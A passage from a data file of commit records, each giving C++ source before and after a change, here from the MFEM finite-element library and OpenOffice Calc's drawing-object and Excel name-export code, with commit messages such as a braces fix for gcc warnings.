\/|\n    1 *--------* |              1 *--------*            1 *--------* |\n      |        | |     Loc1       |        |     Loc2     |        | |\n      |        | *    <-----      |    x   |    ----->    |        | *\n      |        |\/                 |        |              |        |\/\n      *--------*                  *--------*              *--------*\n     0         1                 0         1             0         1\n\n                               Reference Space\n*\/\n\n}\n\n#endif\n<commit_msg>Minor<commit_after>\/\/ Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at\n\/\/ the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights\n\/\/ reserved. See file COPYRIGHT for details.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability see http:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the GNU Lesser General Public License (as published by the Free\n\/\/ Software Foundation) version 2.1 dated February 1999.\n\n#ifndef MFEM_ELEMENTTRANSFORM\n#define MFEM_ELEMENTTRANSFORM\n\n#include \"..\/config\/config.hpp\"\n#include \"..\/linalg\/linalg.hpp\"\n#include \"intrules.hpp\"\n#include \"fe.hpp\"\n\nnamespace mfem\n{\n\nclass ElementTransformation\n{\nprotected:\n   const IntegrationPoint *IntPoint;\n   DenseMatrix dFdx, adjJ, invJ;\n   double Wght;\n   int EvalState;\n   enum StateMasks\n   {\n      JACOBIAN_MASK = 1,\n      WEIGHT_MASK   = 2,\n      ADJUGATE_MASK = 4,\n      INVERSE_MASK  = 8\n   };\n\n   \/\/ Evaluate the Jacobian of the transformation at the IntPoint and store it\n   \/\/ in dFdx.\n   virtual const DenseMatrix &EvalJacobian() = 0;\n\n   double EvalWeight();\n   const DenseMatrix &EvalAdjugateJ();\n   const DenseMatrix &EvalInverseJ();\n\npublic:\n   int Attribute, ElementNo;\n\n   ElementTransformation();\n\n   void SetIntPoint(const IntegrationPoint *ip)\n   { IntPoint = ip; EvalState = 0; }\n   const IntegrationPoint &GetIntPoint() { return *IntPoint; }\n\n   virtual void Transform(const IntegrationPoint &, Vector &) = 0;\n   virtual void Transform(const IntegrationRule &, DenseMatrix &) = 0;\n\n   \/\/\/ Transform columns of 'matrix', store result in 'result'.\n   virtual void Transform(const DenseMatrix &matrix, DenseMatrix &result) = 0;\n\n   \/** Return the Jacobian of the transformation at the IntPoint.\n       The first column contains the x derivatives of the\n       transformation, the second -- the y derivatives, etc.  *\/\n   const DenseMatrix &Jacobian()\n   { return (EvalState & JACOBIAN_MASK) ? dFdx : EvalJacobian(); }\n\n   double Weight() { return (EvalState & WEIGHT_MASK) ? Wght : EvalWeight(); }\n\n   const DenseMatrix &AdjugateJacobian()\n   { return (EvalState & ADJUGATE_MASK) ? adjJ : EvalAdjugateJ(); }\n\n   const DenseMatrix &InverseJacobian()\n   { return (EvalState & INVERSE_MASK) ? invJ : EvalInverseJ(); }\n\n   virtual int Order() = 0;\n   virtual int OrderJ() = 0;\n   virtual int OrderW() = 0;\n   \/\/\/ order of adj(J)^t.grad(fi)\n   virtual int OrderGrad(const FiniteElement *fe) = 0;\n\n   \/** Get dimension of target space (we support 2D meshes embedded in 3D; in\n       this case the function should return \"3\"). *\/\n   virtual int GetSpaceDim() = 0;\n\n   \/** Attempt to find the IntegrationPoint that is transformed into the given\n       point in physical space. If the inversion fails a non-zero value is\n       returned. This method is not 100 percent reliable for non-linear\n       transformations. *\/\n   virtual int TransformBack(const Vector &, IntegrationPoint &) = 0;\n\n   virtual ~ElementTransformation() { }\n};\n\nclass IsoparametricTransformation : public ElementTransformation\n{\nprivate:\n   DenseMatrix dshape;\n   Vector shape;\n\n   const FiniteElement *FElem;\n   DenseMatrix PointMat; \/\/ dim x dof\n\n   \/\/ Evaluate the Jacobian of the transformation at the IntPoint and store it\n   \/\/ in dFdx.\n   virtual const DenseMatrix &EvalJacobian();\n\npublic:\n   void SetFE(const FiniteElement *FE) { FElem = FE; }\n   const FiniteElement* GetFE() const { return FElem; }\n\n   \/** @brief Read and write access to the underlying point matrix describing\n       the transformation. *\/\n   \/** The dimensions of the matrix are space-dim x dof. The transformation is\n       defined as\n\n           x=F(xh)=P.phi(xh),\n\n       where xh (x hat) is the reference point, x is the corresponding physical\n       point, P is the point matrix, and phi(xh) is the column-vector of all\n       basis functions evaluated at xh. The columns of P represent the control\n       points in physical space defining the transformation. *\/\n   DenseMatrix &GetPointMat() { return PointMat; }\n\n   void SetIdentityTransformation(int GeomType);\n\n   virtual void Transform(const IntegrationPoint &, Vector &);\n   virtual void Transform(const IntegrationRule &, DenseMatrix &);\n   virtual void Transform(const DenseMatrix &matrix, DenseMatrix &result);\n\n   virtual int Order() { return FElem->GetOrder(); }\n   virtual int OrderJ();\n   virtual int OrderW();\n   virtual int OrderGrad(const FiniteElement *fe);\n\n   virtual int GetSpaceDim()\n   {\n      \/\/ this function should only be called after PointMat is initialized\n      return PointMat.Height();\n   }\n\n   \/** @brief Find an IntegrationPoint whose transform is closest to pt. *\/\n   \/** This function uses the element's RefinedIntRules of order @a order to\n       find the closest IntegrationPoint to the query point @pt.\n\n       @param pt The query point.\n       @param order The refinement order.  Default value of -1 uses\n       the underlying element's order. Value of 0 returns the IntegrationPoint\n       at the element's center.\n       @return The IntegrationPoint from RefinedIntRules of order @a order\n       whose transform is closest to pt *\/\n   const IntegrationPoint FindClosestRefinedPoint(const Vector& pt,\n                                                  int order = -1);\n\n   virtual int TransformBack(const Vector & v, IntegrationPoint & ip)\n   {\n      \/\/ Call overload with default refinement order\n      return this->TransformBack(v, ip, -1);\n   }\n\n   \/** @brief Overload of TransformBack that allows setting the\n       refinement order for choosing solver's starting point. *\/\n   \/** @see FindClosestRefinedPoint for values of @a refinementOrder. *\/\n   int TransformBack(const Vector &, IntegrationPoint &, int refinementOrder);\n\n   virtual ~IsoparametricTransformation() { }\n};\n\nclass IntegrationPointTransformation\n{\npublic:\n   IsoparametricTransformation Transf;\n   void Transform (const IntegrationPoint &, IntegrationPoint &);\n   void Transform (const IntegrationRule  &, IntegrationRule  &);\n};\n\nclass FaceElementTransformations\n{\npublic:\n   int Elem1No, Elem2No, FaceGeom;\n   ElementTransformation *Elem1, *Elem2, *Face;\n   IntegrationPointTransformation Loc1, Loc2;\n};\n\n\/*                 Elem1(Loc1(x)) = Face(x) = Elem2(Loc2(x))\n\n\n                                Physical Space\n\n               *--------*             ^            *--------*\n    Elem1No   \/        \/ \\           \/ \\          \/ \\        \\   Elem2No\n             \/        \/   \\         \/   \\        \/   \\        \\\n            \/        \/  n  \\       \/     \\      \/     \\        \\\n           *--------*   ==> *     (       )    *       *--------*\n            \\        \\     \/       \\     \/      \\     \/        \/\n             \\        \\   \/         \\   \/        \\   \/        \/\n              \\        \\ \/           \\ \/          \\ \/        \/\n               *--------*             v            *--------*\n\n              ^                                              ^\n              |                       ^                      |\n        Elem1 |                       |                      | Elem2\n              |                       | Face                 |\n                                      |\n        *--------*                                          *--------*\n       \/        \/|                                         \/        \/|\n    1 *--------* |              1 *--------*            1 *--------* |\n      |        | |     Loc1       |        |     Loc2     |        | |\n      |        | *    <-----      |    x   |    ----->    |        | *\n      |        |\/                 |        |              |        |\/\n      *--------*                  *--------*              *--------*\n     0         1                 0         1             0         1\n\n                               Reference Space\n*\/\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: userdat.cxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: rt $ $Date: 2007-07-06 12:33:48 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n\/\/ -----------------------------------------------------------------------\n\n#include \"userdat.hxx\"\n#include <tools\/debug.hxx>\n#include \"drwlayer.hxx\"\n#include \"rechead.hxx\"\n\n\/\/ -----------------------------------------------------------------------\n\nScDrawObjFactory::ScDrawObjFactory()\n{\n    SdrObjFactory::InsertMakeUserDataHdl( LINK ( this, ScDrawObjFactory, MakeUserData ) );\n}\n\nScDrawObjFactory::~ScDrawObjFactory()\n{\n    SdrObjFactory::RemoveMakeUserDataHdl( LINK ( this, ScDrawObjFactory, MakeUserData ) );\n}\n\nIMPL_LINK_INLINE_START( ScDrawObjFactory, MakeUserData, SdrObjFactory *, pObjFactory )\n{\n    if ( pObjFactory->nInventor == SC_DRAWLAYER )\n    {\n        if ( pObjFactory->nIdentifier == SC_UD_OBJDATA )\n            pObjFactory->pNewData = new ScDrawObjData;\n        else if ( pObjFactory->nIdentifier == SC_UD_IMAPDATA )\n            pObjFactory->pNewData = new ScIMapInfo;\n        else if ( pObjFactory->nIdentifier == SC_UD_MACRODATA )\n            pObjFactory->pNewData = new ScMacroInfo;\n        else\n            DBG_ERROR(\"MakeUserData: falsche ID\");\n    }\n    return 0;\n}\nIMPL_LINK_INLINE_END( ScDrawObjFactory, MakeUserData, SdrObjFactory *, pObjFactory )\n\n\/\/------------------------------------------------------------------------\n\nScDrawObjData::ScDrawObjData() : SdrObjUserData( SC_DRAWLAYER, SC_UD_OBJDATA, 0 )\n{\n    bValidEnd = FALSE;\n}\n\nScDrawObjData::ScDrawObjData( const ScDrawObjData& r )\n             : SdrObjUserData( r ), aStt( r.aStt ), aEnd( r.aEnd ),\n               bValidStart( r.bValidStart ), bValidEnd( r.bValidEnd )\n{}\n\nScDrawObjData::~ScDrawObjData()\n{}\n\nSdrObjUserData* ScDrawObjData::Clone(SdrObject*) const\n{\n    return new ScDrawObjData( *this );\n}\n\n\/\/------------------------------------------------------------------------\n\nScIMapInfo::ScIMapInfo() :\n    SdrObjUserData( SC_DRAWLAYER, SC_UD_IMAPDATA, 0 )\n{\n}\n\nScIMapInfo::ScIMapInfo( const ImageMap& rImageMap ) :\n    SdrObjUserData( SC_DRAWLAYER, SC_UD_IMAPDATA, 0 ),\n    aImageMap( rImageMap )\n{\n}\n\nScIMapInfo::ScIMapInfo( const ScIMapInfo& rIMapInfo ) :\n    SdrObjUserData( rIMapInfo ),\n    aImageMap( rIMapInfo.aImageMap )\n{\n}\n\nScIMapInfo::~ScIMapInfo()\n{\n}\n\nSdrObjUserData* ScIMapInfo::Clone( SdrObject* ) const\n{\n    return new ScIMapInfo( *this );\n}\n\n\/\/------------------------------------------------------------------------\n\nScMacroInfo::ScMacroInfo() :\n    SdrObjUserData( SC_DRAWLAYER, SC_UD_MACRODATA, 0 )\n{\n}\n\nScMacroInfo::~ScMacroInfo()\n{\n}\n\nSdrObjUserData* ScMacroInfo::Clone( SdrObject* \/*pObj*\/ ) const\n{\n   return new ScMacroInfo( *this );\n}\n\n<commit_msg>INTEGRATION: CWS dr58_SRC680 (1.10.94); FILE MERGED 2007\/12\/14 10:50:56 nn 1.10.94.1: #i84560# braces for gcc 4.2.1 warnings (patch fom hub)<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: userdat.cxx,v $\n *\n *  $Revision: 1.11 $\n *\n *  last change: $Author: rt $ $Date: 2008-01-29 15:21:05 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n\/\/ -----------------------------------------------------------------------\n\n#include \"userdat.hxx\"\n#include <tools\/debug.hxx>\n#include \"drwlayer.hxx\"\n#include \"rechead.hxx\"\n\n\/\/ -----------------------------------------------------------------------\n\nScDrawObjFactory::ScDrawObjFactory()\n{\n    SdrObjFactory::InsertMakeUserDataHdl( LINK ( this, ScDrawObjFactory, MakeUserData ) );\n}\n\nScDrawObjFactory::~ScDrawObjFactory()\n{\n    SdrObjFactory::RemoveMakeUserDataHdl( LINK ( this, ScDrawObjFactory, MakeUserData ) );\n}\n\nIMPL_LINK_INLINE_START( ScDrawObjFactory, MakeUserData, SdrObjFactory *, pObjFactory )\n{\n    if ( pObjFactory->nInventor == SC_DRAWLAYER )\n    {\n        if ( pObjFactory->nIdentifier == SC_UD_OBJDATA )\n            pObjFactory->pNewData = new ScDrawObjData;\n        else if ( pObjFactory->nIdentifier == SC_UD_IMAPDATA )\n            pObjFactory->pNewData = new ScIMapInfo;\n        else if ( pObjFactory->nIdentifier == SC_UD_MACRODATA )\n            pObjFactory->pNewData = new ScMacroInfo;\n        else\n        {\n            DBG_ERROR(\"MakeUserData: falsche ID\");\n        }\n    }\n    return 0;\n}\nIMPL_LINK_INLINE_END( ScDrawObjFactory, MakeUserData, SdrObjFactory *, pObjFactory )\n\n\/\/------------------------------------------------------------------------\n\nScDrawObjData::ScDrawObjData() : SdrObjUserData( SC_DRAWLAYER, SC_UD_OBJDATA, 0 )\n{\n    bValidEnd = FALSE;\n}\n\nScDrawObjData::ScDrawObjData( const ScDrawObjData& r )\n             : SdrObjUserData( r ), aStt( r.aStt ), aEnd( r.aEnd ),\n               bValidStart( r.bValidStart ), bValidEnd( r.bValidEnd )\n{}\n\nScDrawObjData::~ScDrawObjData()\n{}\n\nSdrObjUserData* ScDrawObjData::Clone(SdrObject*) const\n{\n    return new ScDrawObjData( *this );\n}\n\n\/\/------------------------------------------------------------------------\n\nScIMapInfo::ScIMapInfo() :\n    SdrObjUserData( SC_DRAWLAYER, SC_UD_IMAPDATA, 0 )\n{\n}\n\nScIMapInfo::ScIMapInfo( const ImageMap& rImageMap ) :\n    SdrObjUserData( SC_DRAWLAYER, SC_UD_IMAPDATA, 0 ),\n    aImageMap( rImageMap )\n{\n}\n\nScIMapInfo::ScIMapInfo( const ScIMapInfo& rIMapInfo ) :\n    SdrObjUserData( rIMapInfo ),\n    aImageMap( rIMapInfo.aImageMap )\n{\n}\n\nScIMapInfo::~ScIMapInfo()\n{\n}\n\nSdrObjUserData* ScIMapInfo::Clone( SdrObject* ) const\n{\n    return new ScIMapInfo( *this );\n}\n\n\/\/------------------------------------------------------------------------\n\nScMacroInfo::ScMacroInfo() :\n    SdrObjUserData( SC_DRAWLAYER, SC_UD_MACRODATA, 0 )\n{\n}\n\nScMacroInfo::~ScMacroInfo()\n{\n}\n\nSdrObjUserData* ScMacroInfo::Clone( SdrObject* \/*pObj*\/ ) const\n{\n   return new ScMacroInfo( *this );\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>WaE: struct 'ScRefCellValue' was previously declared as a class<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>1.列表<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: xename.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 19:29:12 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef SC_XENAME_HXX\n#define SC_XENAME_HXX\n\n#ifndef SC_XLNAME_HXX\n#include \"xlname.hxx\"\n#endif\n#ifndef SC_XEROOT_HXX\n#include \"xeroot.hxx\"\n#endif\n#ifndef SC_XERECORD_HXX\n#include \"xerecord.hxx\"\n#endif\n\n\/\/ ============================================================================\n\nclass ScRangeList;\nclass XclExpNameManagerImpl;\n\n\/** Manager that stores all internal defined names (NAME records) of the document. *\/\nclass XclExpNameManager : public XclExpRecordBase, protected XclExpRoot\n{\npublic:\n    explicit            XclExpNameManager( const XclExpRoot& rRoot );\n    virtual             ~XclExpNameManager();\n\n    \/** Creates NAME records for built-in and user defined names. *\/\n    void                Initialize();\n\n    \/** Inserts the Calc name with the passed index and returns the Excel NAME index. *\/\n    sal_uInt16          InsertName( USHORT nScNameIdx );\n    \/** Inserts the Calc database range with the passed index and returns the Excel NAME index. *\/\n    sal_uInt16          InsertDBRange( USHORT nScDBRangeIdx );\n\n    \/** Inserts a new built-in defined name. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, XclExpTokenArrayRef xTokArr, SCTAB nScTab );\n    \/** Inserts a new built-in defined name, referring to the passed sheet range. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, const ScRange& rRange );\n    \/** Inserts a new built-in defined name, referring to the passed sheet range list. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, const ScRangeList& rRangeList );\n\n    \/** Inserts a new defined name. Sets another unused name, if rName already exists. *\/\n    sal_uInt16          InsertUniqueName( const String& rName, XclExpTokenArrayRef xTokArr, SCTAB nScTab );\n    \/** Searches or inserts a defined name describing a macro name.\n        @param bFunc  true = Macro function; false = Macro procedure. *\/\n    sal_uInt16          InsertMacroCall( const String& rMacroName, bool bFunc );\n\n    \/** Returns the Calc sheet of a local defined name, or SCTAB_GLOBAL for global defined names. *\/\n    const String&       GetOrigName( sal_uInt16 nNameIdx ) const;\n    \/** Returns the Calc sheet of a local defined name, or SCTAB_GLOBAL for global defined names. *\/\n    SCTAB               GetScTab( sal_uInt16 nNameIdx ) const;\n    \/** Returns true, if the specified defined name is volatile. *\/\n    bool                IsVolatile( sal_uInt16 nNameIdx ) const;\n\n    \/** Writes the entire list of NAME records. *\/\n    virtual void        Save( XclExpStream& rStrm );\n\nprivate:\n    typedef ScfRef< XclExpNameManagerImpl > XclExpNameMgrImplRef;\n    XclExpNameMgrImplRef mxImpl;\n};\n\n\/\/ ============================================================================\n\n#endif\n\n<commit_msg>INTEGRATION: CWS dr37 (1.3.36); FILE MERGED 2005\/04\/19 14:47:16 dr 1.3.36.1: #i47228# svExternal\/ocMacro tokens can be macro calls or missing defined names<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: xename.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: hr $ $Date: 2005-09-28 11:58:46 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef SC_XENAME_HXX\n#define SC_XENAME_HXX\n\n#ifndef SC_XLNAME_HXX\n#include \"xlname.hxx\"\n#endif\n#ifndef SC_XEROOT_HXX\n#include \"xeroot.hxx\"\n#endif\n#ifndef SC_XERECORD_HXX\n#include \"xerecord.hxx\"\n#endif\n\n\/\/ ============================================================================\n\nclass ScRangeList;\nclass XclExpNameManagerImpl;\n\n\/** Manager that stores all internal defined names (NAME records) of the document. *\/\nclass XclExpNameManager : public XclExpRecordBase, protected XclExpRoot\n{\npublic:\n    explicit            XclExpNameManager( const XclExpRoot& rRoot );\n    virtual             ~XclExpNameManager();\n\n    \/** Creates NAME records for built-in and user defined names. *\/\n    void                Initialize();\n\n    \/** Inserts the Calc name with the passed index and returns the Excel NAME index. *\/\n    sal_uInt16          InsertName( USHORT nScNameIdx );\n    \/** Inserts the Calc database range with the passed index and returns the Excel NAME index. *\/\n    sal_uInt16          InsertDBRange( USHORT nScDBRangeIdx );\n\n    \/** Inserts a new built-in defined name. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, XclExpTokenArrayRef xTokArr, SCTAB nScTab );\n    \/** Inserts a new built-in defined name, referring to the passed sheet range. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, const ScRange& rRange );\n    \/** Inserts a new built-in defined name, referring to the passed sheet range list. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, const ScRangeList& rRangeList );\n\n    \/** Inserts a new defined name. Sets another unused name, if rName already exists. *\/\n    sal_uInt16          InsertUniqueName( const String& rName, XclExpTokenArrayRef xTokArr, SCTAB nScTab );\n    \/** Returns index of an existing name, or creates a name without definition. *\/\n    sal_uInt16          InsertRawName( const String& rName );\n    \/** Searches or inserts a defined name describing a macro name.\n        @param bFunc  true = Macro function; false = Macro procedure. *\/\n    sal_uInt16          InsertMacroCall( const String& rMacroName, bool bFunc );\n\n    \/** Returns the Calc sheet of a local defined name, or SCTAB_GLOBAL for global defined names. *\/\n    const String&       GetOrigName( sal_uInt16 nNameIdx ) const;\n    \/** Returns the Calc sheet of a local defined name, or SCTAB_GLOBAL for global defined names. *\/\n    SCTAB               GetScTab( sal_uInt16 nNameIdx ) const;\n    \/** Returns true, if the specified defined name is volatile. *\/\n    bool                IsVolatile( sal_uInt16 nNameIdx ) const;\n\n    \/** Writes the entire list of NAME records. *\/\n    virtual void        Save( XclExpStream& rStrm );\n\nprivate:\n    typedef ScfRef< XclExpNameManagerImpl > XclExpNameMgrImplRef;\n    XclExpNameMgrImplRef mxImpl;\n};\n\n\/\/ ============================================================================\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: xename.hxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: rt $ $Date: 2005-10-21 12:01:59 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef SC_XENAME_HXX\n#define SC_XENAME_HXX\n\n#ifndef SC_XLNAME_HXX\n#include \"xlname.hxx\"\n#endif\n#ifndef SC_XEROOT_HXX\n#include \"xeroot.hxx\"\n#endif\n#ifndef SC_XERECORD_HXX\n#include \"xerecord.hxx\"\n#endif\n\n\/\/ ============================================================================\n\nclass ScRangeList;\nclass XclExpNameManagerImpl;\n\n\/** Manager that stores all internal defined names (NAME records) of the document. *\/\nclass XclExpNameManager : public XclExpRecordBase, protected XclExpRoot\n{\npublic:\n    explicit            XclExpNameManager( const XclExpRoot& rRoot );\n    virtual             ~XclExpNameManager();\n\n    \/** Creates NAME records for built-in and user defined names. *\/\n    void                Initialize();\n\n    \/** Inserts the Calc name with the passed index and returns the Excel NAME index. *\/\n    sal_uInt16          InsertName( USHORT nScNameIdx );\n    \/** Inserts the Calc database range with the passed index and returns the Excel NAME index. *\/\n    sal_uInt16          InsertDBRange( USHORT nScDBRangeIdx );\n\n    \/** Inserts a new built-in defined name. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, XclExpTokenArrayRef xTokArr, SCTAB nScTab );\n    \/** Inserts a new built-in defined name, referring to the passed sheet range. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, const ScRange& rRange );\n    \/** Inserts a new built-in defined name, referring to the passed sheet range list. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, const ScRangeList& rRangeList );\n\n    \/** Inserts a new defined name. Sets another unused name, if rName already exists. *\/\n    sal_uInt16          InsertUniqueName( const String& rName, XclExpTokenArrayRef xTokArr, SCTAB nScTab );\n    \/** Returns index of an existing name, or creates a name without definition. *\/\n    sal_uInt16          InsertRawName( const String& rName );\n    \/** Searches or inserts a defined name describing a macro name.\n        @param bVBasic  true = Visual Basic macro, false = Sheet macro.\n        @param bFunc  true = Macro function; false = Macro procedure. *\/\n    sal_uInt16          InsertMacroCall( const String& rMacroName, bool bVBasic, bool bFunc, bool bHidden = false );\n\n    \/** Returns the Calc sheet of a local defined name, or SCTAB_GLOBAL for global defined names. *\/\n    const String&       GetOrigName( sal_uInt16 nNameIdx ) const;\n    \/** Returns the Calc sheet of a local defined name, or SCTAB_GLOBAL for global defined names. *\/\n    SCTAB               GetScTab( sal_uInt16 nNameIdx ) const;\n    \/** Returns true, if the specified defined name is volatile. *\/\n    bool                IsVolatile( sal_uInt16 nNameIdx ) const;\n\n    \/** Writes the entire list of NAME records. *\/\n    virtual void        Save( XclExpStream& rStrm );\n\nprivate:\n    typedef ScfRef< XclExpNameManagerImpl > XclExpNameMgrImplRef;\n    XclExpNameMgrImplRef mxImpl;\n};\n\n\/\/ ============================================================================\n\n#endif\n\n<commit_msg>INTEGRATION: CWS dr48 (1.6.146); FILE MERGED 2006\/05\/10 17:01:22 dr 1.6.146.1: #i63105# backport changes from CWS chart2mst3<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: xename.hxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: obo $ $Date: 2006-07-10 13:55:20 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef SC_XENAME_HXX\n#define SC_XENAME_HXX\n\n#ifndef SC_XLNAME_HXX\n#include \"xlname.hxx\"\n#endif\n#ifndef SC_XEROOT_HXX\n#include \"xeroot.hxx\"\n#endif\n#ifndef SC_XERECORD_HXX\n#include \"xerecord.hxx\"\n#endif\n\n\/\/ ============================================================================\n\nclass ScRangeList;\nclass XclExpNameManagerImpl;\n\n\/** Manager that stores all internal defined names (NAME records) of the document. *\/\nclass XclExpNameManager : public XclExpRecordBase, protected XclExpRoot\n{\npublic:\n    explicit            XclExpNameManager( const XclExpRoot& rRoot );\n    virtual             ~XclExpNameManager();\n\n    \/** Creates NAME records for built-in and user defined names. *\/\n    void                Initialize();\n\n    \/** Inserts the Calc name with the passed index and returns the Excel NAME index. *\/\n    sal_uInt16          InsertName( USHORT nScNameIdx );\n    \/** Inserts the Calc database range with the passed index and returns the Excel NAME index. *\/\n    sal_uInt16          InsertDBRange( USHORT nScDBRangeIdx );\n\n    \/** Inserts a new built-in defined name. *\/\n    sal_uInt16          